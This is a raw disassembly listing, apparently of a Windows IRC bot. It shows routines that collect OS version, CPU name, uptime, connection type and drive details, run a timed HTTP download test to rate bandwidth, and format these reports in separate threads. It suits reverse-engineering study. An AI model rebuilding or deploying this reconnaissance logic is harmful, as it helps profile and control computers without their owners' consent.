mov edi, offset aMe ; "ME"
jmp short loc_406162
; ---------------------------------------------------------------------------
loc_40612B: ; CODE XREF: sub_405FF3+EFj
cmp [ebp+var_100], 5
jnz short loc_406162
cmp [ebp+var_FC], 0
jnz short loc_406144
mov edi, offset a2000 ; "2000"
jmp short loc_406162
; ---------------------------------------------------------------------------
loc_406144: ; CODE XREF: sub_405FF3+148j
cmp [ebp+var_FC], 1
jnz short loc_406154
mov edi, offset aXp ; "XP"
jmp short loc_406162
; ---------------------------------------------------------------------------
loc_406154: ; CODE XREF: sub_405FF3+158j
cmp [ebp+var_FC], 2
jnz short loc_406162
mov edi, offset a2003 ; "2003"
loc_406162: ; CODE XREF: sub_405FF3+126j
; sub_405FF3+12Fj ...
cmp [ebp+var_F4], 2
jnz short loc_40617D
loc_40616B: ; CODE XREF: sub_405FF3+116j
cmp [ebp+var_F0], 0
jz short loc_40617D
lea eax, [ebp+var_F0]
mov [ebp+var_1C], eax
loc_40617D: ; CODE XREF: sub_405FF3+10Fj
; sub_405FF3+176j ...
call sub_40338B
test eax, eax
mov [ebp+var_14], offset aYes ; "Yes"
jnz short loc_406194
mov [ebp+var_14], offset aNo ; "No"
loc_406194: ; CODE XREF: sub_405FF3+198j
and [ebp+var_178], 0
and [ebp+var_105], 0
xor eax, eax
cpuid
mov [ebp+var_184], ebx
mov [ebp+var_180], edx
mov [ebp+var_17C], ecx
lea eax, [ebp+var_4]
xor ebx, ebx
push eax
push 20019h
push ebx
push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
push 80000002h
mov [ebp+var_4], ebx
call dword_412000
test eax, eax
jnz short loc_406223
lea eax, [ebp+var_28]
mov [ebp+var_20], ebx
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_20]
push eax
push ebx
push offset aProcessornames ; "ProcessorNameString"
mov [ebp+var_28], 80h
push [ebp+var_4]
call dword_41200C
test eax, eax
jnz short loc_40621A
push 1
lea eax, [ebp+var_184]
push 1
push eax
call sub_405AD6
add esp, 0Ch
loc_40621A: ; CODE XREF: sub_405FF3+212j
push [ebp+var_4]
call dword_412028
loc_406223: ; CODE XREF: sub_405FF3+1E6j
cmp [ebp+arg_0], 1
mov ecx, offset byte_4191D0
mov eax, offset dword_4141FC
mov ebx, ecx
jz short loc_406237
mov ebx, eax
loc_406237: ; CODE XREF: sub_405FF3+240j
cmp [ebp+var_10], 1
mov edx, ecx
jz short loc_406241
mov edx, eax
loc_406241: ; CODE XREF: sub_405FF3+24Aj
cmp [ebp+var_18], 1
jnz short loc_406249
mov eax, ecx
loc_406249: ; CODE XREF: sub_405FF3+252j
lea ecx, [ebp+var_50]
push ecx
lea ecx, [ebp+var_38]
push ecx
push ebx
push [ebp+arg_0]
push edx
push [ebp+var_10]
push eax
push [ebp+var_18]
push [ebp+var_14]
push esi
push [ebp+var_24]
call sub_405ECC
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_72C]
push [ebp+var_F8]
push [ebp+var_FC]
push [ebp+var_100]
push [ebp+var_1C]
push edi
push offset dword_41410C
push 400h
push eax
call sub_41152E ; _snprintf
add esp, 54h
lea eax, [ebp+var_72C]
push eax
lea eax, [ebp+var_328]
push offset dword_413B6C
push eax
call sub_4096CB
push [ebp+var_32C]
call sub_406E6F
add esp, 10h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_405FF3 endp
; =============== S U B R O U T I N E =======================================
sub_4062CF proc near ; CODE XREF: sub_407A76+125Dp
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_406305
push [esp+4+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aSysinfoThread ; "Sysinfo thread"
push 0
push esi
push offset sub_405FF3
call sub_406D58
add esp, 10h
loc_406305: ; CODE XREF: sub_4062CF+10j
pop esi
retn
sub_4062CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406307 proc near ; CODE XREF: sub_406373+Ap
; sub_406373+18p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_20]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_20]
push eax
call sub_40B5E1
call sub_4114E2 ; clock
mov edi, eax
push 7D0h
push 0
lea eax, [ebp+var_20]
push offset a80 ; "80"
push eax
call sub_403C04
mov esi, eax
push esi
call sub_403D92
add esp, 20h
test esi, esi
jnz short loc_406356
mov eax, 3E8h
jmp short loc_40636F
; ---------------------------------------------------------------------------
loc_406356: ; CODE XREF: sub_406307+46j
call sub_4114E2 ; clock
mov ecx, eax
mov eax, 3E8h
sub ecx, edi
cmp ecx, eax
jnb short loc_40636F
call sub_4114E2 ; clock
sub eax, edi
loc_40636F: ; CODE XREF: sub_406307+4Dj
; sub_406307+5Fj
pop edi
pop esi
leave
retn
sub_406307 endp
; =============== S U B R O U T I N E =======================================
sub_406373 proc near ; CODE XREF: sub_40656A:loc_4066A5p
; sub_408E1A+15Cp ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
push offset dword_413F68
call sub_406307
mov esi, eax
mov [esp+18h+var_18], offset aIQBgEFSsoR ; "©¹ïÕ¡ƒÌ…ØäœééŽË"
call sub_406307
mov edi, eax
mov [esp+18h+var_18], offset dword_413F8C
call sub_406307
mov ebx, eax
mov [esp+18h+var_18], offset dword_413F98
call sub_406307
mov ebp, eax
mov [esp+18h+var_18], offset dword_413FA8
call sub_406307
mov [esp+18h+var_4], eax
mov [esp+18h+var_18], offset dword_413FB8
call sub_406307
add eax, [esp+18h+var_4]
pop ecx
push 6
xor edx, edx
add eax, ebp
pop ecx
add eax, ebx
add eax, edi
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
div ecx
pop ecx
retn
sub_406373 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4063E4 proc near ; CODE XREF: sub_40656A:loc_4066CAp
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 414h
push ebx
xor ebx, ebx
xor eax, eax
cmp off_413FCC, ebx
push esi
push edi
jz short loc_406409
mov ecx, offset off_413FCC
loc_406401: ; CODE XREF: sub_4063E4+23j
add ecx, 4
inc eax
cmp [ecx], ebx
jnz short loc_406401
loc_406409: ; CODE XREF: sub_4063E4+16j
shr eax, 1
mov [ebp+var_4], ebx
lea edi, [eax-1]
jmp short loc_406415
; ---------------------------------------------------------------------------
loc_406413: ; CODE XREF: sub_4063E4+A0j
xor ebx, ebx
loc_406415: ; CODE XREF: sub_4063E4+2Dj
push edi
push ebx
call sub_40B459
mov esi, eax
lea eax, [ebp+var_114]
shl esi, 3
push off_413FCC[esi]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_114]
push eax
call sub_40B5E1
push off_413FD0[esi]
lea eax, [ebp+var_214]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_214]
push eax
call sub_40B5E1
push 2710h
push ebx
lea eax, [ebp+var_114]
push offset a80 ; "80"
push eax
call sub_403C04
mov ebx, eax
add esp, 30h
test ebx, ebx
jnz short loc_40648B
inc [ebp+var_4]
cmp [ebp+var_4], 3
jb short loc_406413
loc_406486: ; CODE XREF: sub_4063E4+181j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40648B: ; CODE XREF: sub_4063E4+97j
lea eax, [ebp+var_114]
mov esi, 200h
push eax
lea eax, [ebp+var_214]
push eax
push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
lea eax, [ebp+var_414]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_414]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_414]
push eax
push ebx
call sub_403D9D
add esp, 24h
call sub_4114E2 ; clock
and [ebp+var_4], 0
mov dword ptr [ebp+var_14+4], eax
mov edi, 1388h
loc_4064DE: ; CODE XREF: sub_4063E4+134j
; sub_4063E4+147j
push edi
lea eax, [ebp+var_414]
push esi
push eax
push ebx
call sub_403DF6
add esp, 10h
mov dword ptr [ebp+var_C+4], eax
test eax, eax
jz short loc_40651A
cmp eax, 0FFFFFFFFh
jz short loc_40651A
call sub_4114E2 ; clock
sub eax, dword ptr [ebp+var_14+4]
cmp eax, edi
jnb short loc_40651A
mov eax, [ebp+var_4]
cmp eax, 100000h
jnb short loc_40651A
add eax, dword ptr [ebp+var_C+4]
mov [ebp+var_4], eax
jmp short loc_4064DE
; ---------------------------------------------------------------------------
loc_40651A: ; CODE XREF: sub_4063E4+111j
; sub_4063E4+116j ...
mov eax, [ebp+var_4]
cmp eax, 2000h
jnb short loc_40652D
push ebx
call sub_403D70
pop ecx
jmp short loc_4064DE
; ---------------------------------------------------------------------------
loc_40652D: ; CODE XREF: sub_4063E4+13Ej
and dword ptr [ebp+var_C+4], 0
mov dword ptr [ebp+var_C], eax
fild [ebp+var_C]
fstp dword ptr [ebp+var_C+4]
call sub_4114E2 ; clock
sub eax, dword ptr [ebp+var_14+4]
and dword ptr [ebp+var_14+4], 0
mov dword ptr [ebp+var_14], eax
fild [ebp+var_14]
fmul flt_412280
fdivr dword ptr [ebp+var_C+4]
call sub_411678 ; _ftol
push ebx
mov esi, eax
call sub_403D70
pop ecx
mov eax, esi
jmp loc_406486
sub_4063E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40656A proc near ; DATA XREF: sub_40677A+29o
var_A80 = qword ptr -0A80h
var_A54 = byte ptr -0A54h
var_654 = byte ptr -654h
var_250 = dword ptr -250h
var_24C = byte ptr -24Ch
var_A8 = byte ptr -0A8h
var_28 = byte ptr -28h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A54h
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_250]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
mov esi, offset dword_41A2E8
lea eax, [ebp+var_654]
push esi
push eax
call sub_4114B8 ; _mbscpy
add esp, 18h
lea eax, [ebp+var_C]
xor edi, edi
push eax
push edi
push edi
push esi
call dword_419224
test eax, eax
jnz short loc_4065E2
push 1
push edi
push edi
lea eax, [ebp+var_654]
push 401h
push eax
mov eax, [ebp+var_C]
push dword ptr [eax+10h]
push dword ptr [eax+18h]
call dword_419228
push [ebp+var_C]
call dword_41922C
loc_4065E2: ; CODE XREF: sub_40656A+4Ej
call sub_406B29
mov ecx, 15180h
xor edx, edx
mov ebx, ecx
mov esi, eax
div ebx
xor edx, edx
push 3Ch
mov dword ptr [ebp+var_8+4], eax
mov eax, esi
div ecx
mov ecx, 0E10h
mov ebx, ecx
mov esi, edx
xor edx, edx
mov eax, esi
div ebx
xor edx, edx
mov [ebp+var_14], eax
mov eax, esi
div ecx
pop ecx
mov esi, offset aUnknown_0 ; "Unknown"
push esi
mov eax, edx
xor edx, edx
div ecx
mov [ebp+arg_0], eax
lea eax, [ebp+var_A8]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_28]
push esi
push eax
call sub_4114B8 ; _mbscpy
mov eax, dword_41921C
add esp, 10h
cmp eax, edi
jz short loc_40667D
push edi
lea ecx, [ebp+var_A8]
push 80h
push ecx
lea ecx, [ebp+var_1C]
push ecx
call eax
test eax, eax
jz short loc_40667D
test [ebp+var_1C], 1
jz short loc_40666D
push offset aModem ; "Modem"
jmp short loc_406672
; ---------------------------------------------------------------------------
loc_40666D: ; CODE XREF: sub_40656A+FAj
push offset aLan ; "LAN"
loc_406672: ; CODE XREF: sub_40656A+101j
lea eax, [ebp+var_28]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_40667D: ; CODE XREF: sub_40656A+DDj
; sub_40656A+F4j
call sub_4033F9
mov edi, offset aYes ; "Yes"
mov esi, offset aNo ; "No"
test eax, eax
mov [ebp+var_18], edi
jnz short loc_406696
mov [ebp+var_18], esi
loc_406696: ; CODE XREF: sub_40656A+127j
call sub_4032D2
test eax, eax
mov [ebp+var_10], edi
jnz short loc_4066A5
mov [ebp+var_10], esi
loc_4066A5: ; CODE XREF: sub_40656A+136j
call sub_406373
cmp eax, 2EEh
mov [ebp+var_20], eax
mov ebx, offset aBad ; "Bad"
jnb short loc_4066BE
mov ebx, offset aAvarage ; "Avarage"
loc_4066BE: ; CODE XREF: sub_40656A+14Dj
cmp eax, 1F4h
jnb short loc_4066CA
mov ebx, offset aGood ; "Good"
loc_4066CA: ; CODE XREF: sub_40656A+159j
call sub_4063E4
cmp [ebp+arg_0], 1
mov edx, offset byte_4191D0
mov ecx, offset dword_4141FC
mov edi, edx
jz short loc_4066E3
mov edi, ecx
loc_4066E3: ; CODE XREF: sub_40656A+175j
cmp [ebp+var_14], 1
mov esi, edx
jz short loc_4066ED
mov esi, ecx
loc_4066ED: ; CODE XREF: sub_40656A+17Fj
cmp dword ptr [ebp+var_8+4], 1
jnz short loc_4066F5
mov ecx, edx
loc_4066F5: ; CODE XREF: sub_40656A+187j
push edi
mov dword ptr [ebp+var_8], eax
push [ebp+arg_0]
lea eax, [ebp+var_28]
push esi
push [ebp+var_14]
push ecx
push dword ptr [ebp+var_8+4]
and dword ptr [ebp+var_8+4], 0
fild [ebp+var_8]
push ecx
push ecx
fmul flt_412284
fstp [esp+0A80h+var_A80]
push [ebp+var_20]
push ebx
push [ebp+var_10]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A8]
push eax
lea eax, [ebp+var_654]
push eax
push offset dword_41428C
lea eax, [ebp+var_A54]
push 400h
push eax
call sub_41152E ; _snprintf
add esp, 48h
lea eax, [ebp+var_A54]
push eax
lea eax, [ebp+var_24C]
push offset dword_413B6C
push eax
call sub_4096CB
push [ebp+var_250]
call sub_406E6F
add esp, 10h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40656A endp
; =============== S U B R O U T I N E =======================================
sub_40677A proc near ; CODE XREF: sub_407A76+124Cp
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_4067B0
push [esp+4+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aNetinfoThread ; "Netinfo thread"
push 0
push esi
push offset sub_40656A
call sub_406D58
add esp, 10h
loc_4067B0: ; CODE XREF: sub_40677A+10j
pop esi
retn
sub_40677A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4067B2 proc near ; CODE XREF: sub_408E1A+141p
; sub_408E1A+213p ...
var_1C = byte ptr -1Ch
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, dword_4143A0
push esi
mov [ebp+var_4], eax
xor esi, esi
loc_4067C3: ; CODE XREF: sub_4067B2+73j
lea eax, [ebp+var_4]
push eax
call dword_4120D0
test eax, eax
jz short loc_40681E
cmp eax, 1
jz short loc_40681E
cmp eax, 5
jz short loc_4067F8
cmp eax, 2
jz short loc_4067F8
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_4]
push eax
call dword_4120CC
jmp short loc_406808
; ---------------------------------------------------------------------------
loc_4067F8: ; CODE XREF: sub_4067B2+27j
; sub_4067B2+2Cj
push 8
lea eax, [ebp+var_C]
push 0
push eax
call sub_4114E8 ; memset
add esp, 0Ch
loc_406808: ; CODE XREF: sub_4067B2+44j
mov eax, [ebp+var_C]
mov edx, [ebp+var_8]
push 14h
pop ecx
call sub_411680
mov [ebp+var_C], eax
mov [ebp+var_8], edx
add esi, eax
loc_40681E: ; CODE XREF: sub_4067B2+1Dj
; sub_4067B2+22j
inc byte ptr [ebp+var_4]
cmp byte ptr [ebp+var_4], 5Ah
jnz short loc_4067C3
mov eax, esi
pop esi
leave
retn
sub_4067B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40682C proc near ; DATA XREF: sub_406A08+29o
var_5C8 = dword ptr -5C8h
var_5C4 = byte ptr -5C4h
var_420 = byte ptr -420h
var_40B = byte ptr -40Bh
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5C8h
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_5C8]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
mov esi, offset aDriveInformati ; "Drive information - "
lea edi, [ebp+var_420]
xor eax, eax
push 5
xor ebx, ebx
pop ecx
mov [ebp+arg_0], ebx
rep movsd
movsb
mov ecx, 0FAh
lea edi, [ebp+var_40B]
rep stosd
mov esi, dword_4121EC
mov [ebp+var_10], 1
stosw
stosb
mov eax, dword_4143A0
mov [ebp+var_4], eax
loc_406894: ; CODE XREF: sub_40682C+172j
lea eax, [ebp+var_4]
push eax
call dword_4120D0
test eax, eax
jz loc_406997
cmp eax, 1
jz loc_406997
cmp eax, 2
jnz short loc_4068F8
mov edi, offset aRemovable ; "removable"
loc_4068B9: ; CODE XREF: sub_40682C+EEj
push 8
lea eax, [ebp+var_C]
push 0
push eax
call sub_4114E8 ; memset
add esp, 0Ch
loc_4068C9: ; CODE XREF: sub_40682C+115j
mov eax, [ebp+var_C]
mov edx, [ebp+var_8]
push 14h
pop ecx
call sub_411680
cmp [ebp+var_10], 0
mov [ebp+var_C], eax
mov [ebp+var_8], edx
jnz short loc_406943
lea eax, [ebp+var_420]
push offset a_ ; ". "
push eax
call sub_4114EE ; _mbscat
pop ecx
pop ecx
jmp short loc_406947
; ---------------------------------------------------------------------------
loc_4068F8: ; CODE XREF: sub_40682C+86j
cmp eax, 3
jnz short loc_406904
mov edi, offset aFixed ; "fixed"
jmp short loc_40692B
; ---------------------------------------------------------------------------
loc_406904: ; CODE XREF: sub_40682C+CFj
cmp eax, 4
jnz short loc_406910
mov edi, offset aRemote ; "remote"
jmp short loc_40692B
; ---------------------------------------------------------------------------
loc_406910: ; CODE XREF: sub_40682C+DBj
cmp eax, 5
jnz short loc_40691C
mov edi, offset aCdRom ; "cd-rom"
jmp short loc_4068B9
; ---------------------------------------------------------------------------
loc_40691C: ; CODE XREF: sub_40682C+E7j
cmp eax, 6
mov edi, offset aRamdisk ; "ramdisk"
jz short loc_40692B
mov edi, offset aUnknown ; "unknown"
loc_40692B: ; CODE XREF: sub_40682C+D6j
; sub_40682C+E2j ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_4]
push eax
call dword_4120CC
jmp short loc_4068C9
; ---------------------------------------------------------------------------
loc_406943: ; CODE XREF: sub_40682C+B5j
and [ebp+var_10], 0
loc_406947: ; CODE XREF: sub_40682C+CAj
mov eax, [ebp+var_C]
or eax, [ebp+var_8]
jz short loc_406974
push [ebp+var_8]
lea eax, [ebp+var_4]
push [ebp+var_C]
push edi
push eax
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_420]
push offset dword_4143EC
push eax
call esi
add esp, 1Ch
jmp short loc_406991
; ---------------------------------------------------------------------------
loc_406974: ; CODE XREF: sub_40682C+121j
lea eax, [ebp+var_4]
push edi
push eax
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_420]
push offset dword_4143DC
push eax
call esi
add esp, 14h
loc_406991: ; CODE XREF: sub_40682C+146j
add ebx, [ebp+var_C]
inc [ebp+arg_0]
loc_406997: ; CODE XREF: sub_40682C+74j
; sub_40682C+7Dj
inc byte ptr [ebp+var_4]
cmp byte ptr [ebp+var_4], 5Ah
jnz loc_406894
cmp [ebp+arg_0], 0
jz short loc_4069BD
lea eax, [ebp+var_420]
push offset a_ ; ". "
push eax
call sub_4114EE ; _mbscat
pop ecx
pop ecx
loc_4069BD: ; CODE XREF: sub_40682C+17Cj
push ebx
lea eax, [ebp+var_420]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_420]
push offset dword_4143A4
push eax
call esi
add esp, 14h
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_5C4]
push offset dword_413B6C
push eax
call sub_4096CB
push [ebp+var_5C8]
call sub_406E6F
add esp, 10h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40682C endp
; =============== S U B R O U T I N E =======================================
sub_406A08 proc near ; CODE XREF: sub_407A76+10ACp
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_406A3E
push [esp+4+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aDriveinfoThrea ; "Driveinfo thread"
push 0
push esi
push offset sub_40682C
call sub_406D58
add esp, 10h
loc_406A3E: ; CODE XREF: sub_406A08+10j
pop esi
retn
sub_406A08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A40 proc near ; CODE XREF: sub_4111E8+1B7p
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_10]
push eax
call dword_4120DC
lea eax, [ebp+var_8]
push eax
call dword_4120D8
xor eax, eax
cmp [ebp+var_C], eax
jl short loc_406AA1
jg short loc_406A68
cmp [ebp+var_10], eax
jbe short loc_406AA1
loc_406A68: ; CODE XREF: sub_406A40+21j
cmp [ebp+var_4], eax
jl short loc_406AA1
jg short loc_406A74
cmp [ebp+var_8], eax
jbe short loc_406AA1
loc_406A74: ; CODE XREF: sub_406A40+2Dj
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_4116B0
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_4116A0 ; ceil
pop ecx
pop ecx
call sub_411678 ; _ftol
jmp short loc_406AB0
; ---------------------------------------------------------------------------
loc_406AA1: ; CODE XREF: sub_406A40+1Fj
; sub_406A40+26j ...
call dword_4120D4
xor edx, edx
mov ecx, 3E8h
div ecx
loc_406AB0: ; CODE XREF: sub_406A40+5Fj
mov dword_419670, eax
leave
retn
sub_406A40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AB7 proc near ; CODE XREF: sub_405FF3+4Fp
; sub_407A76:loc_408BBDp ...
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_10]
push eax
call dword_4120DC
lea eax, [ebp+var_8]
push eax
call dword_4120D8
xor eax, eax
cmp [ebp+var_C], eax
jl short loc_406B18
jg short loc_406ADF
cmp [ebp+var_10], eax
jbe short loc_406B18
loc_406ADF: ; CODE XREF: sub_406AB7+21j
cmp [ebp+var_4], eax
jl short loc_406B18
jg short loc_406AEB
cmp [ebp+var_8], eax
jbe short loc_406B18
loc_406AEB: ; CODE XREF: sub_406AB7+2Dj
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_4116B0
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_4116A0 ; ceil
pop ecx
pop ecx
call sub_411678 ; _ftol
leave
retn
; ---------------------------------------------------------------------------
loc_406B18: ; CODE XREF: sub_406AB7+1Fj
; sub_406AB7+26j ...
call dword_4120D4
xor edx, edx
mov ecx, 3E8h
div ecx
leave
retn
sub_406AB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B29 proc near ; CODE XREF: sub_40656A:loc_4065E2p
; sub_407A76+1196p
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_10]
push eax
call dword_4120DC
lea eax, [ebp+var_8]
push eax
call dword_4120D8
xor eax, eax
cmp [ebp+var_C], eax
jl short loc_406B8A
jg short loc_406B51
cmp [ebp+var_10], eax
jbe short loc_406B8A
loc_406B51: ; CODE XREF: sub_406B29+21j
cmp [ebp+var_4], eax
jl short loc_406B8A
jg short loc_406B5D
cmp [ebp+var_8], eax
jbe short loc_406B8A
loc_406B5D: ; CODE XREF: sub_406B29+2Dj
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_4116B0
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_4116A0 ; ceil
pop ecx
pop ecx
call sub_411678 ; _ftol
jmp short loc_406B90
; ---------------------------------------------------------------------------
loc_406B8A: ; CODE XREF: sub_406B29+1Fj
; sub_406B29+26j ...
call dword_4120D4
loc_406B90: ; CODE XREF: sub_406B29+5Fj
sub eax, dword_419670
leave
retn
sub_406B29 endp
; =============== S U B R O U T I N E =======================================
sub_406B98 proc near ; CODE XREF: sub_4111E8+C2p
var_4 = dword ptr -4
and dword_419690, 0
push 1980h
call sub_4114C4 ; malloc
mov dword_419698, eax
mov [esp+4+var_4], offset dword_419678
call sub_4071D2
pop ecx
retn
sub_406B98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406BBC proc near ; DATA XREF: sub_406C5D+25o
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_412288
push offset sub_41175A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov esi, [eax]
mov [ebp+var_20], esi
mov edi, [eax+4]
mov [ebp+var_1C], edi
push eax
call sub_4114CA ; free
pop ecx
push esi
call dword_4120E0
test eax, eax
jz short loc_406C24
cmp dword_4191D8, 0
jz short loc_406C46
push esi
push offset dword_41447C
push offset dword_418E50
call sub_409659
add esp, 0Ch
jmp short loc_406C46
; ---------------------------------------------------------------------------
loc_406C24: ; CODE XREF: sub_406BBC+48j
push edi
call esi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_406C4C
; ---------------------------------------------------------------------------
push offset aBtg ; "btg"
push offset aThread ; "thread"
push [ebp+var_14]
call sub_40287C
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_406C46: ; CODE XREF: sub_406BBC+51j
; sub_406BBC+66j
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
loc_406C4C: ; CODE XREF: sub_406BBC+6Fj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_406BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C5D proc near ; CODE XREF: sub_4056AC+F9p
; sub_40719C+21p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push 8
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_406CAD
mov eax, [ebp+arg_0]
mov [esi], eax
mov eax, [ebp+arg_4]
mov [esi+4], eax
lea eax, [ebp+var_4]
push eax
push 0
push esi
push offset sub_406BBC
push 20000h
push 0
call sub_411760 ; _beginthreadex
add esp, 18h
test eax, eax
jz short loc_406CA6
push eax
call dword_4120AC ; CloseHandle
push 1
pop eax
jmp short loc_406CAF
; ---------------------------------------------------------------------------
loc_406CA6: ; CODE XREF: sub_406C5D+3Bj
push esi
call sub_4114CA ; free
pop ecx
loc_406CAD: ; CODE XREF: sub_406C5D+11j
xor eax, eax
loc_406CAF: ; CODE XREF: sub_406C5D+47j
pop esi
leave
retn
sub_406C5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406CB2 proc near ; DATA XREF: sub_406D58+C9o
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_19B = byte ptr -19Bh
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_412298
push offset sub_41175A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov al, byte_4191D0
mov [ebp+var_19C], al
push 60h
pop ecx
xor eax, eax
lea edi, [ebp+var_19B]
rep stosd
stosw
stosb
and [ebp+var_4], 0
mov esi, [ebp+arg_0]
mov eax, [esi]
